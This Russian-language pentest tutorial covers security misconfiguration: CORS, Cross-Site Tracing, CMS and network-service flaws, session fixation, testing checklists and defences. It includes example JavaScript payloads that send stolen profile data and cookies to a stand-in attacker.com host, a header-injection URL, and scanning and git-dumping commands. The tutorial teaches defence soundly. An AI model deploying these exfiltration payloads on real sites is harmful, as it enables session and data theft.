The book of Magnus

IT-заметки и знания

Основы пентеста. Security Misconfiguration (Небезопасная конфигурация)

Tags = [ Misconfig, Pentest_base ]

Security Misconfiguration — это неправильные настройки приложения, сервиса, фреймворка, базы данных или инфраструктуры, которые могут привести к утечке конфиденциальных данных или полной компрометации системы. Эта категория уязвимостей стабильно входит в OWASP Top 10 и остается одной из самых распространенных проблем безопасности.

Небезопасная конфигурация часто возникает, когда:

  • Параметры безопасности остаются с дефолтными значениями
  • Настройки выполнены поверхностно или некорректно
  • Отсутствует процесс регулярного аудита конфигураций
  • Не проводится проверка после обновлений (которые могут изменить параметры)

Распространенные ошибки конфигурации

Учетные данные и доступ

  • Учетные записи с дефолтными credentials (admin/admin, root/toor)
  • Незакрытые тестовые аккаунты
  • Включенные гостевые или анонимные доступы
  • Отсутствие политики ротации паролей
  • Хранение credentials в открытом виде в конфигурационных файлах

Конфигурационные файлы

  • Неверно настроенные веб-серверы (web.config, .htaccess, nginx.conf)
  • Доступные для чтения конфигурационные файлы (.env, config.php, application.properties)
  • Наличие резервных копий конфигов (.bak, .old, .swp)
  • Оставленные установочные файлы и скрипты
  • Раскрытие информации через комментарии в коде

Сервисы и компоненты

  • Запущенные ненужные службы и открытые порты
  • Использование устаревших версий ПО без патчей безопасности
  • Неактуальные CMS, плагины, библиотеки с известными уязвимостями
  • Debug-режим на production-среде
  • Verbose error messages с раскрытием внутренней структуры

Права доступа

  • Неправильно настроенные permissions на файлы и директории
  • Листинг директорий (directory listing)
  • Доступ к sensitive-файлам (.git, .svn, backup-файлы)
  • Чрезмерные привилегии у сервисных аккаунтов

Небезопасный CORS

Что такое CORS?

Cross-Origin Resource Sharing (CORS) — механизм, позволяющий веб-странице запрашивать ресурсы с другого домена в обход Same-Origin Policy. CORS использует HTTP-заголовки для управления междоменными запросами.

Основные заголовки CORS

Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

Распространенные ошибки CORS

1. Разрешение любого домена

Опасная конфигурация:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Эта комбинация позволяет любому сайту выполнять аутентифицированные запросы к вашему API.

2. Отражение Origin без валидации

Опасный код:

// Сервер просто отражает значение Origin из запроса
const origin = request.headers.origin;
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');

3. Слабая валидация Origin

Проблемный пример:

// Проверка на наличие подстроки вместо точного совпадения
if (origin.includes('example.com')) {
    response.setHeader('Access-Control-Allow-Origin', origin);
}
// Атакующий может использовать evil-example.com или example.com.attacker.com

Эксплуатация небезопасного CORS

Сценарий атаки:

  1. Жертва авторизована на https://api.example.com
  2. Атакующий заманивает жертву на свой сайт https://attacker.com
  3. На сайте атакующего выполняется JavaScript:
fetch('https://api.example.com/user/profile', {
    credentials: 'include'  // Отправляет cookies жертвы
})
.then(response => response.json())
.then(data => {
    // Отправляем украденные данные атакующему
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify(data)
    });
});
  1. Если CORS настроен неправильно, запрос выполнится с cookies жертвы

Защита от CORS-уязвимостей

  1. Используйте whitelist конкретных доменов:
const allowedOrigins = ['https://app.example.com', 'https://mobile.example.com'];
if (allowedOrigins.includes(origin)) {
    response.setHeader('Access-Control-Allow-Origin', origin);
}

  1. Проверяйте Origin на точное совпадение, не используйте регулярные выражения или includes()

  2. Избегайте динамического отражения Origin без валидации

  3. Не используйте Access-Control-Allow-Origin: * с Access-Control-Allow-Credentials: true

Тестирование CORS

Инструменты:

# CORStest - автоматический сканер
git clone https://github.com/RUB-NDS/CORStest.git
python corstest.py -u https://example.com

# Ручное тестирование с curl
curl -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: POST" \
     -H "Access-Control-Request-Headers: Content-Type" \
     -X OPTIONS https://api.example.com/endpoint -v

Cross-Site Tracing (XST)

Описание

XST — атака, комбинирующая XSS с HTTP-методом TRACE/TRACK для обхода защиты HttpOnly на cookies.

Принцип работы

  1. HTTP-метод TRACE возвращает полученный запрос обратно клиенту
  2. В ответе содержатся все заголовки, включая Cookie
  3. Через XSS можно выполнить TRACE-запрос и получить cookies, недоступные через JavaScript

Пример эксплуатации:

// XSS-payload
var xhr = new XMLHttpRequest();
xhr.open('TRACE', 'https://vulnerable-site.com/', true);
xhr.onload = function() {
    // В responseText будут cookies, включая HttpOnly
    fetch('https://attacker.com/steal?data=' + btoa(xhr.responseText));
};
xhr.send();

Обнаружение

# Проверка доступности TRACE
nmap -p 80,443 --script http-methods target.com

# Curl
curl -X TRACE https://target.com -v

# Положительный результат:
HTTP/1.1 200 OK
TRACE / HTTP/1.1
Host: target.com
Cookie: session=abc123; HttpOnly

Защита

  1. Отключите методы TRACE/TRACK на веб-сервере:

Apache (httpd.conf):

TraceEnable off

Nginx (nginx.conf):

if ($request_method ~* ^(TRACE|TRACK)$) {
    return 405;
}

IIS (web.config):

<system.webServer>
    <security>
        <requestFiltering>
            <verbs>
                <add verb="TRACE" allowed="false" />
                <add verb="TRACK" allowed="false" />
            </verbs>
        </requestFiltering>
    </security>
</system.webServer>

Misconfiguration в CMS

Распространенные проблемы

  1. Оставленные установочные файлы:

    • /install.php, /setup.php
    • /wp-admin/install.php (WordPress)
    • /install/ директории

  2. Раскрытие версии и структуры:

    • /readme.html, /changelog.txt
    • Meta-теги с версиями
    • Специфичные пути плагинов

  3. Доступные backup и временные файлы:

    • config.php.bak, database.sql.old
    • ~, .swp, .swo файлы
    • .git, .svn, .env директории

  4. Debug-режим:

    // WordPress wp-config.php
define('WP_DEBUG', true);  // Раскрывает пути и ошибки

// Laravel .env
APP_DEBUG=true  // Выводит стек трейсы

Примеры эксплуатации

Чтение .git директории:

# GitDumper
git clone https://github.com/arthaud/git-dumper.git
python3 git-dumper.py https://target.com/.git/ output/

# GitHacker
githacker --url https://target.com/.git/ --folder output/

Поиск sensitive-файлов:

# ffuf
ffuf -u https://target.com/FUZZ -w /path/to/wordlist.txt \
     -mc 200 -fc 404 -e .bak,.old,.txt,.sql,.zip

# Common paths to check
/.env
/config.php
/.git/config
/web.config
/.htaccess
/phpinfo.php
/admin/
/backup/
/db.sql

Защита

  1. Удалите все установочные файлы после установки
  2. Запретите доступ к sensitive-директориям через веб-сервер
  3. Отключите листинг директорий
  4. Регулярно обновляйте CMS и плагины
  5. Используйте WAF для блокировки известных путей
  6. Настройте proper file permissions (644 для файлов, 755 для директорий)

Misconfiguration в сетевых сервисах

FTP

Проблемы:

  • Анонимный доступ: anonymous:anonymous@ftp.example.com
  • Возможность загрузки файлов в web-root
  • Незашифрованная передача данных (FTP вместо SFTP/FTPS)

Проверка:

# Anonymous доступ
ftp ftp.example.com
# Username: anonymous
# Password: anonymous

# Nmap
nmap -p 21 --script ftp-anon target.com

SMB/SAMBA

Проблемы:

  • Гостевой доступ без аутентификации
  • Readable/Writable shares для всех
  • Устаревшие версии протокола (SMBv1)

Проверка:

# enum4linux
enum4linux -a target.com

# smbclient
smbclient -N -L \\\\target.com

# Nmap
nmap -p 445 --script smb-enum-shares target.com

SSH

Проблемы:

  • Разрешен root-логин
  • Password authentication вместо key-based
  • Устаревшие cipher suites
  • Дефолтный порт 22

Проверка и защита:

# /etc/ssh/sshd_config
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
Port 2222
Protocol 2

MongoDB, Redis, Elasticsearch

Проблемы:

  • Биндинг на 0.0.0.0 вместо localhost
  • Отсутствие аутентификации
  • Доступность из интернета

Проверка:

# MongoDB
mongo --host target.com --port 27017
show dbs

# Redis
redis-cli -h target.com
INFO

# Elasticsearch
curl http://target.com:9200/_cat/indices

Session Fixation

Описание атаки

Session Fixation — атака, при которой злоумышленник навязывает жертве известный ему session ID, а затем использует его для hijacking сессии после авторизации жертвы.

Сценарий атаки

  1. Получение SID:

    • Атакующий получает валидный session ID от сервера
    • Или использует предсказуемый/контролируемый ID

  2. Навязывание SID жертве:

    https://bank.com/login?PHPSESSID=attacker-controlled-id

Или через Set-Cookie injection:
https://bank.com/%0d%0aSet-Cookie:%20PHPSESSID=malicious-id

  3. Жертва авторизуется с этим session ID

  4. Атакующий использует тот же SID для доступа к аккаунту жертвы

Условия для успешной атаки

  • Приложение принимает session ID из GET/POST параметров
  • Session ID не регенерируется после авторизации
  • Отсутствует валидация источника сессии

Защита от Session Fixation

  1. Регенерация Session ID после login:
// PHP
session_start();
if ($user_authenticated) {
    session_regenerate_id(true);  // true = удалить старую сессию
}

// Node.js (Express)
app.post('/login', (req, res) => {
    if (authenticateUser(req.body)) {
        req.session.regenerate((err) => {
            req.session.user = req.body.username;
        });
    }
});

  1. Не принимайте session ID из URL (используйте только cookies)

  2. Валидируйте сессию по IP, User-Agent (с осторожностью для мобильных)

  3. Используйте secure flags для cookies:

Set-Cookie: SESSIONID=value; HttpOnly; Secure; SameSite=Strict
  1. Добавьте дополнительную проверку при критичных операциях

Чеклист тестирования Security Misconfiguration

Информационное раскрытие

  • Проверить HTTP-заголовки (Server, X-Powered-By, X-AspNet-Version)
  • Искать комментарии в HTML/JS исходниках
  • Проверить страницы ошибок на verbose information
  • Найти файлы с версиями (readme.txt, changelog.md)
  • Проверить robots.txt, sitemap.xml на раскрытие путей

Конфигурационные файлы

  • Поиск .git, .svn, .env, .DS_Store
  • Проверка backup-файлов (.bak, .old, .zip, .tar.gz)
  • Доступность конфигов (web.config, .htaccess, phpinfo.php)
  • Temporary files (.swp, .swo, ~)

HTTP Security Headers

  • Content-Security-Policy
  • X-Frame-Options
  • X-Content-Type-Options
  • Strict-Transport-Security (HSTS)
  • Permissions-Policy (Feature-Policy)
  • Referrer-Policy

CORS

  • Проверить Access-Control-Allow-Origin на wildcard (*)
  • Тестировать reflection произвольного Origin
  • Проверить комбинацию credentials + origin
  • Протестировать null origin

HTTP Methods

  • Проверить доступные методы (OPTIONS)
  • Тестировать TRACE/TRACK
  • PUT/DELETE на возможность изменения файлов
  • Arbitrary methods (JEFF, PROPFIND)

Default Credentials

  • Тестовые аккаунты (test/test, demo/demo)
  • Admin панели (admin/admin, administrator/password)
  • Специфичные для приложения defaults
  • Документация производителя на default credentials

Сервисы

  • FTP anonymous access
  • SMB guest access
  • Database без аутентификации
  • Открытые management interfaces
  • API без rate limiting

Session Management

  • Session fixation
  • Регенерация session ID после login
  • Secure флаги на cookies
  • Session timeout
  • Logout функциональность

Инструменты для обнаружения Misconfiguration

Автоматические сканеры

# Nikto - веб-сканер
nikto -h https://target.com

# Nuclei - template-based scanner
nuclei -u https://target.com -t exposures/ -t misconfiguration/

# Nmap NSE скрипты
nmap -sV --script=http-enum,http-methods,http-php-version target.com

# testssl.sh - SSL/TLS проверка
./testssl.sh https://target.com

Специализированные инструменты

# CORS testing
git clone https://github.com/s0md3v/Corsy.git
python3 corsy.py -u https://target.com

# Git repository finder
python3 GitDumper.py https://target.com/.git/ output/

# Directory fuzzing
ffuf -u https://target.com/FUZZ -w wordlist.txt

# Security headers check
curl -I https://target.com | grep -i "x-\|content-security\|strict-transport"

Ручные проверки

# HTTP methods
curl -X OPTIONS https://target.com -v

# TRACE method
curl -X TRACE https://target.com -v

# Server headers
curl -I https://target.com

# SSL/TLS configuration
openssl s_client -connect target.com:443 -tls1_2

Best Practices

  1. Принцип минимальных привилегий — предоставляйте только необходимые права
  2. Defense in depth — используйте несколько уровней защиты
  3. Безопасность по умолчанию — deny by default, allow by exception
  4. Регулярные аудиты конфигураций и обновления
  5. Автоматизация проверок безопасности в CI/CD
  6. Документирование всех отклонений от стандартных конфигураций
  7. Мониторинг изменений конфигураций
  8. Обучение команды secure configuration practices

Полезные ресурсы

Важно: Security Misconfiguration — это не столько вектор атаки, сколько следствие человеческого фактора. Каждый случай уникален и требует внимательного изучения документации, тестирования default-настроек и понимания архитектуры приложения.